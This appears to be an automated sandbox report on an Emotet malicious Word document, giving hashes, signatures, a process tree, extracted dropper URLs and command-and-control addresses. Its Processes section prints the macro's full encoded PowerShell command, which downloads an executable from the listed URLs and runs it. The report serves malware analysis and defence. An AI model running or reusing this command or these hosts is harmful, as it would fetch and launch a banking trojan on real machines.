Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    146s
  • max time network
    94s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    31-07-2020 17:25

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General

  • Target

    emotet_e2_85655f3aac75ed109b789cd705fec7c80b4a7bd0d78647d416ef7b6d2d1bc43a_2020-07-31__172450._doc.doc

  • Size

    174KB

  • MD5

    45027c36e5d958db7aa87b2194e7bfdf

  • SHA1

    fc4691d282fcb49fd5eeacfef254f27050de8603

  • SHA256

    85655f3aac75ed109b789cd705fec7c80b4a7bd0d78647d416ef7b6d2d1bc43a

  • SHA512

    81fd8737bd0ddc9202cc0dbac578b2408f065ef5779ccdd5755a9c3988e5131bce488672b3c22c02b445be76ae28399ae58355073ebf78edefc050cbdbc7bcc1

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://nwcsvcs.com/cgi-bin/uz6_qs8_qr/
exe.dropper

http://odessaresources.com/cgi-bin/3_o_but9/
exe.dropper

https://onefarmdesign.com/cgi-bin/u_fig_m2mv/
exe.dropper

http://onewithyoucd.com/_mm/oix_ktcpc_dljhsex/
exe.dropper

http://www.piemonteitinera.net/n_g2o4_jumkt4/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80
rsa_pubkey.plain

Signatures

  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Drops file in System32 directory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_85655f3aac75ed109b789cd705fec7c80b4a7bd0d78647d416ef7b6d2d1bc43a_2020-07-31__172450._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1620
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQATwBJAEcARwBJAGIAdABwACAAPQAgACcAOAA0ADkAJwA7ACQAQQBZAEsAUABVAGkAbABxAD0AJwBZAEgARgBOAEsAYwBjAG8AJwA7ACQAVwBGAEIATgBTAHMAdgBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAEkARwBHAEkAYgB0AHAAKwAnAC4AZQB4AGUAJwA7ACQAUwBIAEUAWQBRAHAAdgB1AD0AJwBDAFgARQBKAFcAZQBkAHAAJwA7ACQARgBHAFYATQBUAGgAaQBiAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAFcARQBCAEMATABpAEUATgBUADsAJABOAFEAQwBLAE0AdwBhAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgB3AGMAcwB2AGMAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHUAegA2AF8AcQBzADgAXwBxAHIALwAqAGgAdAB0AHAAOgAvAC8AbwBkAGUAcwBzAGEAcgBlAHMAbwB1AHIAYwBlAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAzAF8AbwBfAGIAdQB0ADkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBmAGEAcgBtAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdQBfAGYAaQBnAF8AbQAyAG0AdgAvACoAaAB0AHQAcAA6AC8ALwBvAG4AZQB3AGkAdABoAHkAbwB1AGMAZAAuAGMAbwBtAC8AXwBtAG0ALwBvAGkAeABfAGsAdABjAHAAYwBfAGQAbABqAGgAcwBlAHgALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBwAGkAZQBtAG8AbgB0AGUAaQB0AGkAbgBlAHIAYQAuAG4AZQB0AC8AbgBfAGcAMgBvADQAXwBqAHUAbQBrAHQANAAvACcALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUABOAFcAVgBMAGcAaABjAD0AJwBUAEsAVgBLAEgAbwBkAHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAUABIAEgAWgBpAGMAcgAgAGkAbgAgACQATgBRAEMASwBNAHcAYQB5ACkAewB0AHIAeQB7ACQARgBHAFYATQBUAGgAaQBiAC4AIgBkAE8AdwBOAGwATwBBAGQAZgBgAEkAYABsAEUAIgAoACQARgBQAEgASABaAGkAYwByACwAIAAkAFcARgBCAE4AUwBzAHYAcwApADsAJABMAEIASABVAFQAegBhAGoAPQAnAEQATwBMAEIASgB2AHUAbgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAFcARgBCAE4AUwBzAHYAcwApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIAMAA3ADcAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAARQBhAFQAZQAiACgAJABXAEYAQgBOAFMAcwB2AHMAKQA7ACQAWABWAFgAUgBPAHUAYwBrAD0AJwBTAFAAUQBHAEQAcQByAG4AJwA7AGIAcgBlAGEAawA7ACQAVQBVAFgAVQBDAG4AZABuAD0AJwBTAEEAQQBQAFUAbgBmAHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBLAFQAWgBRAG8AcABxAD0AJwBOAEkASABLAFMAaQB1AHMAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Drops file in System32 directory
    PID:1788
  • C:\Users\Admin\849.exe
    C:\Users\Admin\849.exe
    1⤵
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    PID:288
    • C:\Windows\SysWOW64\authfwcfg\NlsLexicons000d.exe
      "C:\Windows\SysWOW64\authfwcfg\NlsLexicons000d.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1228

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/288-9-0x0000000000230000-0x000000000023C000-memory.dmp

    Filesize

    48KB

    Download

  • memory/1228-13-0x0000000000270000-0x000000000027C000-memory.dmp

    Filesize

    48KB

    Download

  • memory/1620-2-0x0000000008800000-0x0000000008804000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1620-4-0x0000000006BE0000-0x0000000006DE0000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1620-5-0x000000000ACD0000-0x000000000ACD4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1620-6-0x000000000BD50000-0x000000000BD54000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1620-14-0x00000000007F0000-0x00000000007F1000-memory.dmp

    Filesize

    4KB

    Download